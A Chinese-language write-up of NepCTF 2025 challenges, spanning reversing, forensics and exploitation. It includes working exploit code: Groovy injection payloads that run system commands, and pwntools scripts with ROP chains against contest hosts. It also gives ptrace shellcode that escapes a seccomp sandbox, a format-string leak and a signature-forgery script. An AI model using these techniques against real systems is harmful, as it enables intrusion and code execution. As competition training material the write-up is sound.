NepCTF wp

luyanpei

NepCTF-wp by lpp

NepBotEvent

first blood 嘻嘻

拿到附件发现是keylogger的日志文件,手写map映射一下字符,自己写的map可能有点问题

010editor里面可以看出

24字节分组

image

键盘日志的二进制文件有数据结构,先记录一下

输出

image

但能看出来ueseNENepCTF-20250725-114514;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import struct

CODE_MAP = {

30:'a', 31:'s', 32:'d', 33:'f', 34:'g', 35:'h', 36:'j', 37:'k', 38:'l',
44:'z', 45:'x', 46:'c', 47:'v', 48:'b', 49:'n', 50:'m',
16:'q', 17:'w', 18:'e', 19:'r', 20:'t', 21:'y', 22:'u', 23:'i', 24:'o', 25:'p',
# numbers
2:'1',3:'2',4:'3',5:'4',6:'5',7:'6',8:'7',9:'8',10:'9',11:'0',
# symbols
12:'-',13:'=',26:'[',27:']',43:'\\',39:';',40:"'",41:'`',51:',',52:'.',53:'/',
}

SHIFT_CODES = {42, 54}
SHIFT_MAP = {'1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&',
'8':'*','9':'(','0':')','-':'_','=':'+','[':'{',']':'}',
'\\':'|',';':':',"'":'"','`':'~',',':'<','.':'>','/':'?'}

def parse_keylogger(file_path):
data = open(file_path, 'rb').read()
num_events = len(data) // 24
shift = False
result = []

for i in range(num_events):
chunk = data[i*24:(i+1)*24]
tv_sec, tv_usec, ev_type, code, value = struct.unpack('<q q H H i', chunk)

if ev_type == 1 and code in SHIFT_CODES:
shift = (value == 1)
if ev_type == 1 and value == 1 and code in CODE_MAP:
ch = CODE_MAP[code]
if shift:
if ch.isalpha():
ch = ch.upper()
else:
ch = SHIFT_MAP.get(ch, ch)
result.append(ch)
if ev_type == 1 and value == 1 and code == 57:
pass
if ev_type == 1 and value == 1 and code == 28:
result.append('\n')
return ''.join(result)

file_path = 'NepBot_keylogger'
keystrokes = parse_keylogger(file_path)
print(keystrokes)

提交flag

SpeedMino

根据love2d引擎的规则,直接解包exe得到main.lua,更改获得flag的分数,再重新打包为游戏

image

7z直接解包得到

image

打开main.lua

能看到有RC4 的 KSA 部分

CalcData() 是 RC4 PRGA 变种 + 加法加密

image

这一行是初始密文

然后有

for i = 1, 2600 do
flagArray = calcData(flagArray)
end
对其执行 2600 次 calcData(),每次都基于当前的 secretBox 和 secret_i/j 状态。

但是如果让我做2600次的解密操作那我就要崩溃了

但是继续往下看

image

超过2600分自动打印flag

那我们直接修改main.lua文件,在游戏开始时就进行变换到系统剪贴板上,然后显示flag

1
2
3
4
5
local Array = {187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,82,253,148,6}
flagArray[0] = #flagArray -- 把数组长度赋值给下标0(Lua数组下标一般从1开始,这里是个特殊写法)
for i = 1, 2600 do
flagArray = calcData(flagArray) -- 调用calcData函数对flagArray进行2600次变换
end

然后重新用7z打包游戏,具体打包方法

1
2
3
4
7z a -tzip mygame.love .\game*
head -c 385536 ../SpeedMino.exe > ../love_engine.exe
cat ../love_engine.exe ../SpeedMino_modified.love > ../SpeedMino_modified.exe
运行SpeedMino_modified.exe,获取flag

image

拿到flag

easyGooGooVVVY

题目提示考察Groovy 表达式注入

image

思路:利用 Groovy 的动态特性和反射,调用Java 的 Runtime 执行系统命令

构造exp

1
2
3
4
5
"".class.forName("java.lang.Runtime")
.getRuntime()
.exec("whoami")
.inputStream
.text

完成命令执行

image

flag在env里面

image

RevengeGooGooVVVY

exp

1
2
3
4
5
6
def pb = new ProcessBuilder('env')
def proc = pb.start()
proc.waitFor()
def content = proc.inputStream.text
content

思路:创建一个 ProcessBuilder 实例,来执行命令,启动该命令对应的进程,返回一个 Process 对象,命令执行完毕,阻塞当前线程直到 printenv 命令结束,读取进程的标准输出流,从而绕过沙箱

在java里面

1
2
3
4
5
6
7
8
9
private static final List<String> BLOCKED_TRANSFORMS = Collections.unmodifiableList(Arrays.asList(
"ASTTest",
"Grab",
"GrabConfig",
"GrabExclude",
"GrabResolver",
"Grapes",
"AnnotationCollector"
));

加了黑名单,限制了这些注解

image

拿到flag

JavaSeri

image

界面很像vuln靶场的shiro。抓包看到

image

存在特征,deleteme

shiro一把梭

image

flag在env里面

image

canutrytry

拿到附件放ida分析

  1. 选项 1:

    image

    • 遍历两格槽位(i = 0,1),如果当前槽位指针为空且对应的 size[i] > 0,就调用 malloc(size[i]),保存到 ptrs[i],并打印 “malloc success/failed”。
    • 若两格都已被分配(ptrs[0]ptrs[1] 都非 0),会打印 “no free chunks”。
    • 若对应的 size[i] 不合法(<=0),则抛出 C++ 异常 “invalid size”。
  2. 选项 2:

    image

    • 遍历两格 size[i]i=0,1),对第一个值为 0 的槽位,提示 “size:”,用 scanf("%d",&size[i]) 读入用户输入,结束循环。
    • 若两格都已被设置过(都非 0),打印 “no more size”。

    • 提示 “index:”,用 scanf("%d",&idx) 读入用户选择的槽位 idx
    • 如果 ptrs[idx](即 *((_QWORD*)&unk_405440 + idx))非 0,则提示 “content:”,调用 read(0, ptrs[idx], size[idx]) 从 stdin 读入内容写入该 chunk。然后打印 “success”。
    • 否则打印 “invalid index”。

scanf("%d",&idx) 之后,用 ptrs[idx]size[idx] 直接做数组下标访问,但并未检查 idx 的合法范围(>=0 && <2)。
因此,你可以传入任意整数,比如 -12100 等,来达到对 ptrs 数组外的任意地址进行读写。

利用思路:

  1. 任意地址写

    • read(0, ptrs[idx], size[idx]),在 ptrs[idx] 对应指针 任意可控 的情况下,就成了 write 原语:往任意地址写任意长度(受 size[idx] 限制)的数据。
    • 只要我们事先把 ptrs[idx] 设置成目标地址,就可以写任意数据到任意地址。
  2. 泄露 libc 基址

    • 可以先用同样的越界读(idx = -1idx = 2 等)读出 GOT 表的地址,计算 libc 基址。
  3. 构造 ROP / 劫持流程

    把flagwrite到堆上再去读出

找一下会用到的gadgets的地址

1
2
3
4
5
6
0x0000000000045eb0: pop rax; ret; 
0x000000000002a3e5: pop rdi; ret;
0x0000000000126101: pop rsi;
0x0000000000090529: pop rdx; pop rbx; ret;
0x0000000000091396: syscall; ret;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

from pwn import *
HOST = "nepctf32-eiqd-n24x-khui-kdqs74xfu697.nepctf.com"
PORT = 443
LIBC = ELF('./libc.so.6')

p = remote(HOST, PORT, ssl=True, sni=HOST)
context.arch = 'amd64'
context.log_level = 'debug'

def menu(ch):
p.recvuntil(b'>>')
p.sendline(str(ch).encode())

def set_size(sz):
menu(1); menu(2)
p.recvuntil(b'size:')
p.sendline(str(sz).encode())

def add_chunk():
menu(1); menu(1)

def write_at(idx, data):
menu(1); menu(3)
p.recvuntil(b'index:')
p.sendline(str(idx).encode())
p.recvuntil(b'content:')
p.send(data)

set_size(-1)
add_chunk()
p.recvuntil(b'0x')
leak = int(p.recvline().strip(), 16)
base = leak - LIBC.sym['setbuf']
log.success(f"libc base @ {hex(base)}")

g = lambda off: base + off
pop_rax = g(0x45eb0)
pop_rdi = g(0x2a3e5)
pop_rsi = g(0x126101)
pop_rdx_rbx = g(0x90529)
syscall = g(0x91396)
FLAG_BUF = 0x4053C0
rop = flat(
pop_rax, 1,
pop_rdi, 1,
pop_rsi, FLAG_BUF,
pop_rdx_rbx, 0x100, 0x0,
syscall
)

p.recvuntil(b'0x')
stack_leak = int(p.recvline().strip(), 16)
ret_addr = stack_leak - 12
log.info(f"stack return @ {hex(ret_addr)}")
write_at(-3710, p64(ret_addr) * (len(rop)//8 + 1))
write_at(-3711, rop)

p.interactive()

image

realme

变种rc4

image

能够发现有smc

在汇编中找到未识别的代码块后,手动标记为函数,发现其中两处对某地址的字节进行异或处理。通过 IDAPython 脚本还原该地址内容,确认是一种改版的 RC4 加密。随后编写脚本逆向解密,成功还原出 flag。

加密流程

image

image

patch掉反调试后动调查看rc4,发现s盒多了两次异或

image

根据加密逻辑编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def ksa_custom(key):
S = [i ^ 0xCF for i in range(256)]
key_bytes = key if isinstance(key, list) else [ord(c) for c in key]
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
S[i], S[j] = S[j], S[i] ^ 0xAD
return S

def decrypt_modified_rc4(S, data):
i = j = 0
data = bytearray(data)
states = []

for k in range(len(data)):
i = (i + 1) % 256
j = (j + i * S[i]) % 256
S[i], S[j] = S[j], S[i]
v4 = (S[i] + S[j]) % 256
states.append((v4, S[:]))

for k in reversed(range(len(data))):
v4, S_snapshot = states[k]
if k % 2:
data[k] = (data[k] - S_snapshot[v4]) % 256
else:
data[k] = (data[k] + S_snapshot[v4]) % 256

return bytes(data)

def rc4_like_decrypt(key, ciphertext):
S = ksa_custom(key)
return decrypt_modified_rc4(S, ciphertext)

cipher = bytes.fromhex("5059A2942E8E5C957916E53660C7E8063378F0D036C8731B6540B5D4E89C65F4BA62D0")
key = "Y0u_Can't_F1nd_Me!"
plain = rc4_like_decrypt(key, cipher)

print("Plaintext (hex):", plain.hex())
print("Plaintext (ascii):", plain.decode('ascii', errors='replace'))

结果

image

客服小美

题目附件给了一段raw内存,还有流量分析

先看raw内存,用r-studio打开内存

在user里面的JohnDoe用户的Desktop里面发现了题目描述里面的文件,推测被控机器的用户名为JohnDoe

image

image

内存取证少不了lovelymem大人(tokeii0 666),加载镜像,因为是木马外联,在netscan里面看到

image

有2025的字样(估计不支持中文),猜测就是桌面上的木马文件的dump,有外联地址192.168.27.132:12580

剩下一个敏感文件,在内存上没看出来什么东西(试了好多都不对,果然流量是有用的),看给的流量附件,是一段cs流量,需要密钥

把刚刚的木马进程dump下来

利用这个进程的dump提取aeskey和hmackey

项目地址https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py

1
python cs-extract-key.py -c 00000040ad0baebef6f64a60ecffdb0594a6f24f90e979d9b5cdecc44649cb939883b77fb1b5e021d59f9234d97ba8384f808f631e6acf73a17b1cb579651454a261ecac 6492.dmp

得到

1
2
3
AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
HMAC Key: 35d34ac8778482751682514436d71e09

然后

1
2
3
4
5
6
import base64
encode_data = '00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a'
bytes_data = bytes.fromhex(encode_data)
encrypt_data = base64.b64encode(bytes_data)
print(encrypt_data.decode())

然后就是CBC 解密 + HMAC 校验也就是(反向cs解密),交给ai搓个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import hmac
import base64
import binascii
from Crypto.Cipher import AES
import hexdump

# 密钥配置
AES_KEY = bytes.fromhex("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = bytes.fromhex("35d34ac8778482751682514436d71e09")
IV = b"abcdefghijklmnop"

# Base64 编码的加密数据
b64_data = "AAAAUDUMp/Q3nzDMnW1nHbiG02BpHHRGcVbmDoNWclri87iAswLqi1VW3xAyToblPsuEBGZGoXWOnLjH/KQtZgYXvkZ2J6vMPAzjvT6TwC//y006"

def verify_and_decrypt(data: bytes, aes_key: bytes, hmac_key: bytes, iv: bytes) -> bytes:
"""
校验 HMAC 并解密任务数据
"""
length = int.from_bytes(data[:4], 'big')
encrypted = data[4:4 + length - 16]
signature = data[4 + length - 16:4 + length]

# 校验 HMAC 签名(前 16 字节)
if hmac.new(hmac_key, encrypted, digestmod="sha256").digest()[:16] != signature:
raise ValueError("HMAC 校验失败")

cipher = AES.new(aes_key, AES.MODE_CBC, iv)
return cipher.decrypt(encrypted)

def parse_result(decrypted: bytes):
"""
解析解密后的任务返回数据
"""
counter = int.from_bytes(decrypted[:4], 'big')
output_len = int.from_bytes(decrypted[4:8], 'big')
output_type = int.from_bytes(decrypted[8:12], 'big')
output_data = decrypted[12:output_len]

print(f"Counter: {counter}")
print(f"任务返回长度: {output_len}")
print(f"任务输出类型: {output_type}")
print(f"输出数据: {output_data}")
print("\n十六进制转储:")
hexdump.hexdump(decrypted)

if __name__ == "__main__":
raw_data = base64.b64decode(b64_data)
decrypted = verify_and_decrypt(raw_data, AES_KEY, HMAC_KEY, IV)
parse_result(decrypted)

得到image

也就是最后一段flag

拼接NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

smallbox

ida打开,程序要求输入一段shellcode,然后执行该shellcode。但是存在沙箱

image

image

唯一允许的系统调用是 ptrace,所有常用的文件读写、执行 shell 等都被禁止。任何直接的 execvereadwrite 都会被 seccomp 杀死,利用ptrace注入shellcode

思路

由于只有 ptrace 被允许,我们可以让自身进程通过 ptrace(PTRACE_TRACEME) 让一个外部 tracer 进程附着,并由 tracer 进程帮我们完成被禁止的系统调用。

整体思路:

  1. ptrace 调用
    先执行一次 ptrace(PTRACE_PEEKUSER, …),检测自己是否正在被调试(反调试),失败则直接退出。
  2. 空循环
    简单延时,进一步反调试,绕过沙箱/动态分析。
  3. mmap 匿名页
    mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
    申请一块可读/写/执行的匿名内存,用于后续存 flag 数据。
  4. 写入 flag
    立即数异或+mov 的方式,把字符串 "flag" 写进刚 mmap 的内存。
  5. orw 系统调用
    O_RDONLY 打开文件 "flag"去读

写汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
_start:
mov rbp, [rsp-0xc]
xor r10d, r10d
push 0x10
pop rdi
xor edx, edx
mov rsi, r12
push 0x65
pop rax
syscall

mov rcx, 0x11e1a300
loop1:
dec rcx
jne loop1

movabs r10, 0x0101010101010101
push r10
movabs r10, 0x01010ceb0cdd0cef01
xor [rsp], r10
pop r10
push 0x0c
pop rdi
xor edx, edx
mov rsi, r12
push 0x65
pop rax
syscall

movabs r15, 0x000deadc0dee00
mov r13, [r15+0x80]

movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall

movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall

movabs r10, 0x9090909090f865ff
push 0x4
pop rdi
mov rdx, r13
mov rsi, r12
push 0x65
pop rax
syscall

movabs r10, 0x9090909090f865ff

转shellcode直接发送Online x86 and x64 Intel Instruction Assembler

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

HOST = 'nepctf31-gvlw-pwmh-ue6t-emgbq45vx411.nepctf.com'
PORT = 443
a = remote(HOST, PORT, ssl=True, sni=HOST)
SC = b'D\x8be\xf4E1\xd2j\x10_1\xd2L\x89\xe6jeX\x0f\x05H\xc7\xc1\x00\xa3\xe1\x11H\xff\xc9u\xfbI\xba\x01\x01\x01\x01\x01\x01\x01\x01ARI\xba\x01\xef\x0c\xdd\xeb\x0c\x01\x01L1\x14$AZj\x0c_1\xd2L\x89\xe6jeX\x0f\x05I\xbf\x00\xee\r\xdc\xea\r\x00\x00M\x8b\xaf\x80\x00\x00\x00I\xba\xffe\xf8\x90\x90\x90\x90\x90j\x04_L\x89\xeaL\x89\xe6jeX\x0f\x05I\xba\xffe\xf8\x90\x90\x90\x90\x90j\x04_L\x89\xeaL\x89\xe6jeX\x0f\x05I\xba\xffe\xf8\x90\x90\x90\x90\x90j\x04_L\x89\xeaL\x89\xe6jeX\x0f\x05I\xba\xffe\xf8\x90\x90\x90\x90\x90j\x04_L\x89\xeaL\x89\xe6jeX\x0f\x05I\xbahflagj\x02Xj\x04_H\xba\x01\x01\x01\x01\x01\x01\x01\x01RH\xba\x01\xe1\x0c\xdd\xeb\x0c\x01\x01H1\x14$ZL\x89\xe6jeX\x0f\x05I\xbaH\x89\xe71\xf6\x0f\x05Aj\x04_H\xba\x01\x01\x01\x01\x01\x01\x01\x01RH\xba\t\xe1\x0c\xdd\xeb\x0c\x01\x01H1\x14$ZL\x89\xe6jeX\x0f\x05I\xba\xba\xff\xff\xff\x7fH\x89\xc6j\x04_H\xba\x01\x01\x01\x01\x01\x01\x01\x01RH\xba\x11\xe1\x0c\xdd\xeb\x0c\x01\x01H1\x14$ZL\x89\xe6jeX\x0f\x05I\xbaj(Xj\x01_\x99\x0fj\x04_H\xba\x01\x01\x01\x01\x01\x01\x01\x01RH\xba\x19\xe1\x0c\xdd\xeb\x0c\x01\x01H1\x14$ZL\x89\xe6jeX\x0f\x05I\xba\x05\x90\x90\x90\x90\x90\x90\x90j\x04_H\xba\x01\x01\x01\x01\x01\x01\x01\x01RH\xba!\xe1\x0c\xdd\xeb\x0c\x01\x01H1\x14$ZL\x89\xe6jeX\x0f\x05I\xba\xffe\xf8\x90\x90\x90\x90\x90j\x04_L\x89\xeaL\x89\xe6jeX\x0f\x05E1\xd2j\x11_1\xd2L\x89\xe6jeX\x0f\x05'
a.recvuntil('shellcode: \n')
a.sendline(SC)

a.interactive()

image

Time

拿到附件,放到ida分析,函数主逻辑

image

此处存在格式化字符串

测试一下程序,随便输入一些东西就会显示ls -l的内容

然后循环访问flag,直至触发格式化字符串的内容

多试几次可以读到

image

1
0xa7d3763640x36393333626132630x382d333236312d300x3262372d646239640x2d633866613063650x657b46544370654e

小端序倒序拆分出来

1
2
3
4
5
6
7
6436377d0a000000
6332616233333936
302d313632332d38
643962642d376232
656330616638632d
4e65704354467b65
4e65704354467b65656330616638632d643962642d376232302d313632332d3863326162333339366436377d0a000000

image

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

from pwn import *
import threading

context.log_level = 'debug'

io = remote(
"nepctf31-ohjk-wgy8-tb1y-urcjugezk984.nepctf.com",
443,
ssl=True,
sni=True,
typ="tcp"
)

io.sendlineafter(b'name:\n', b'%28$p%27$p%26$p%25$p%24$p%23$p%22$p')

for _ in range(500):
io.sendline(b'./test')
io.sendline(b'./flag')
try:
res = io.recv(timeout=0.05)
if b'flag' in res or b'NepCTF{' in res:
log.success(f"Flag captured: {res}")
break
except EOFError:
continue

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

from pwn import *
import threading

context.log_level = 'debug'

io = remote(
"nepctf31-ohjk-wgy8-tb1y-urcjugezk984.nepctf.com",
443,
ssl=True,
sni=True,
typ="tcp"
)

io.sendlineafter(b'name:\n', b'%28$p%27$p%26$p%25$p%24$p%23$p%22$p')

for _ in range(500):
io.sendline(b'./test')
io.sendline(b'./flag')
try:
res = io.recv(timeout=0.05)
if b'flag' in res or b'NepCTF{' in res:
log.success(f"Flag captured: {res}")
break
except EOFError:
continue

io.interactive()

Nepsign

分析附件server.py

漏洞根源:迭代哈希签名中 “零次迭代” 导致私钥直接泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from gmssl import sm3
from random import SystemRandom
from ast import literal_eval
import os
flag = os.environ["FLAG"]
def SM3(data):
d = [i for i in data]
h = sm3.sm3_hash(d)
return h
def SM3_n(data, n=1, bits=256):
for _ in range(n):
data = bytes.fromhex(SM3(data))
return data.hex()[:bits // 4]


class Nepsign():
def __init__(self):
self.n = 256
self.hex_symbols = '0123456789abcdef'
self.keygen()

def keygen(self):
rng = SystemRandom()
self.sk = [rng.randbytes(32) for _ in range(48)]
self.pk = [SM3_n(self.sk[_], 255, self.n) for _ in range(48)]
return self.sk, self.pk

def sign(self, msg, sk=None):
sk = sk if sk else self.sk
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(self.n // 8)]
step = [0] * 48;
qq = [0] * 48
for i in range(32):
step[i] = a[i]
qq[i] = SM3_n(sk[i], step[i])
sum = [0] * 16
for i in range(16):
sum[i] = 0
for j in range(1, 65):
if m[j - 1] == self.hex_symbols[i]:
sum[i] += j
step[i + 32] = sum[i] % 255
qq[i + 32] = SM3_n(sk[i + 32], step[i + 32])
return [i for i in qq]

def verify(self, msg, qq, pk=None):
qq = [bytes.fromhex(i) for i in qq]
pk = pk if pk else self.pk
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(self.n // 8)]
step = [0] * 48;
pk_ = [0] * 48
for i in range(32):
step[i] = a[i]
pk_[i] = SM3_n(qq[i], 255 - step[i])
sum = [0] * 16
for i in range(16):
sum[i] = 0
for j in range(1, 65):
if m[j - 1] == self.hex_symbols[i]:
sum[i] += j
step[i + 32] = sum[i] % 255
pk_[i + 32] = SM3_n(qq[i + 32], 255 - step[i + 32])
return True if pk_ == pk else False


print('initializing...')
Sign = Nepsign()
while 1:
match int(input('> ')):
case 1:
msg = bytes.fromhex(input('msg: '))
if msg != b'happy for NepCTF 2025':
print(Sign.sign(msg))
else:
print("You can't do that")
case 2:
qq = literal_eval(input('give me a qq: '))
if Sign.verify(b'happy for NepCTF 2025', qq):
print(flag)
  • 服务端提供两种操作:

    1. 对任意消息(除了 b"happy for NepCTF 2025")返回签名列表 qq(长度 48,每项是十六进制字符串)。
    2. 接收用户提交的 qq,验证它是否为 b"happy for NepCTF 2025" 的合法签名,验证通过则打印 flag。
  • 签名算法核心流程:

    1. 先对消息做一次 SM3,得到 64 字节(256 bit)的哈希值。
    2. 将哈希二进制拆成前 32 个字节各自的值(记作 a[0..31]),再统计每种十六进制字符在哈希文本中出现位置的加权和(记作 sum[0..15]),共 48 维 “step” 向量。
    3. 对私钥数组 sk[0..47] 的每个分量,执行 SM3_n(sk[i], step[i]),得到签名分量 qq[i]
  • 公钥 pk[i] = SM3_n(sk[i], 255)(全部迭代次数固定为 255)。

  • 思路是伪造对目标消息 b"happy for NepCTF 2025" 的签名,从而拿到 flag

重点关注

当step[i] == 0

1
2
qq[i] = SM3_n(sk[i], 0) == sk[i]

这一维签名分量直接泄露了私钥 sk[i]

所以我们只需要不断对随机消息请求签名,就能刷出不同消息对应的 48 维 step 向量,筛选那些在某些下标 i 上恰好等于零的消息,每次就能输出出一个或多个 sk[i]

利用思路

  • 循环生成并提交随机消息,计算其本地 step 向量(方法同服务端签名)。

  • 找到所有 step[i] == 0 且对应的 sk[i] 尚未知的下标集合 needed_indices

  • 向服务器请求该消息的签名,所返回的 qq[i] 则直接等于 sk[i],将其保存。

  • 重复直至收集到全量的 sk[0..47]

  • 对目标消息 b"happy for NepCTF 2025" 本地计算完整的 target_step[0..47]

  • 逐项用已知的 sk[i] 调用 SM3_n(sk[i], target_step[i]),拼成 fake_qq[0..47]

  • 用菜单选项 2 提交 fake_qq,服务器执行验签:

1
2
3
4
5
6
# 验签实现等价于:
for i in range(48):
# 用 qq[i] 再迭代 255 - step[i] 次,正好还原出公钥 pk[i]
pk_check[i] = SM3_n( qq[i], 255 - target_step[i] )
return pk_check == pk

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from gmssl import sm3
import os
import random
import string
from pwn import *
from ast import literal_eval
import sys


# ---------- 工具函数 ----------
def sm3_hash(data: str | bytes) -> str:
"""计算 SM3 哈希值,返回十六进制字符串。"""
if isinstance(data, str):
data = data.encode()
return sm3.sm3_hash(list(data))


def sm3_n(data: str | bytes, n: int, bits: int = 256) -> str:
"""对 data 连续计算 n 次 SM3 哈希,返回前 bits//4 位十六进制。"""
if isinstance(data, str):
data = data.encode()
elif not isinstance(data, bytes):
data = bytes(data)

for _ in range(n):
data = bytes.fromhex(sm3_hash(data))
return data.hex()[: bits // 4]


def calc_step(msg: bytes) -> tuple[list[int], str]:
"""
计算消息 msg 的 step 数组(长度 48)以及其 SM3 哈希。
step 数组前 32 字节为 SM3 哈希按 8 位拆分,后 16 字节为统计值。
"""
h = sm3_hash(msg)
h_bin = bin(int(h, 16))[2:].zfill(256)
step32 = [int(h_bin[i * 8 : (i + 1) * 8], 2) for i in range(32)]

symbols = "0123456789abcdef"
step16 = [0] * 16
for idx, ch in enumerate(symbols):
total = sum(j + 1 for j, hc in enumerate(h) if hc == ch)
step16[idx] = total % 255

return step32 + step16, h

def main():
HOST = "nepctf31-n1rw-1sk0-iglw-z6eyexuol792.nepctf.com"
PORT = 443
TARGET_MSG = b"happy for NepCTF 2025"

target_step, _ = calc_step(TARGET_MSG)
sk_list = [None] * 48 # 用于存放 48 段密钥

print(f"[+] 目标消息:{TARGET_MSG}")
print(f"[+] 目标 step:{target_step}")

context.log_level = "error"
io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvuntil(b"> ")
print("[+] 已成功连接服务器")

collected = set()
tries = 0
prefix = b"collect_sk_"

print("[*] 开始收集密钥片段...")
while len(collected) < 48:
tries += 1
if tries % 100 == 0:
print(f"[*] 已尝试 {tries} 次,已收集 {len(collected)}/48 段密钥")

suffix = "".join(random.choices(string.ascii_letters + string.digits, k=10)).encode()
msg = prefix + suffix
if msg == TARGET_MSG:
continue

# 计算当前消息的 step
try:
step, _ = calc_step(msg)
except Exception:
continue

# 找出 step[i] == 0 且尚未收集的索引
need = [i for i in range(48) if sk_list[i] is None and step[i] == 0]
if not need:
continue

# 发送签名请求
try:
io.sendline(b"1")
io.recvuntil(b"msg: ")
io.sendline(msg.hex().encode())
resp = io.recvline().decode().strip()
except EOFError:
print("[!] 连接中断,尝试重连...")
io.close()
io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvuntil(b"> ")
continue

# 解析服务器返回
try:
qq = literal_eval(resp)
if not isinstance(qq, list) or len(qq) != 48:
continue
except Exception:
continue

# 保存新收集到的密钥
for idx in need:
try:
sk_list[idx] = bytes.fromhex(qq[idx])
collected.add(idx)
except ValueError:
continue
print(f"[+] 已收集到索引 {need} 的密钥")

print(f"[+] 已完整收集 48 段密钥,共尝试 {tries} 次")

forged_qq = []
for i in range(48):
try:
forged_qq.append(sm3_n(sk_list[i], target_step[i]))
except Exception as e:
print(f"[!] 计算伪造签名时出错:{e}")
sys.exit(1)
print("[+] 伪造签名成功")


try:
io.sendline(b"2")
io.recvuntil(b"give me a qq: ")
io.sendline(str(forged_qq).encode())

flag_line = io.recvline().decode()
print(f"[+] 服务器返回:{flag_line}")
extra = io.recv(timeout=1)
if extra:
print(f"[+] 额外信息:{extra.decode()}")
except Exception as e:
print(f"[!] 提交伪造签名时出错:{e}")
sys.exit(1)

io.close()


if __name__ == "__main__":
main()

结果

image

  • Title: NepCTF wp
  • Author: luyanpei
  • Created at : 2025-07-29 08:07:05
  • Updated at : 2025-07-29 09:12:28
  • Link: https://redefine.ohevan.com/posts/36779.html
  • License: All Rights Reserved © luyanpei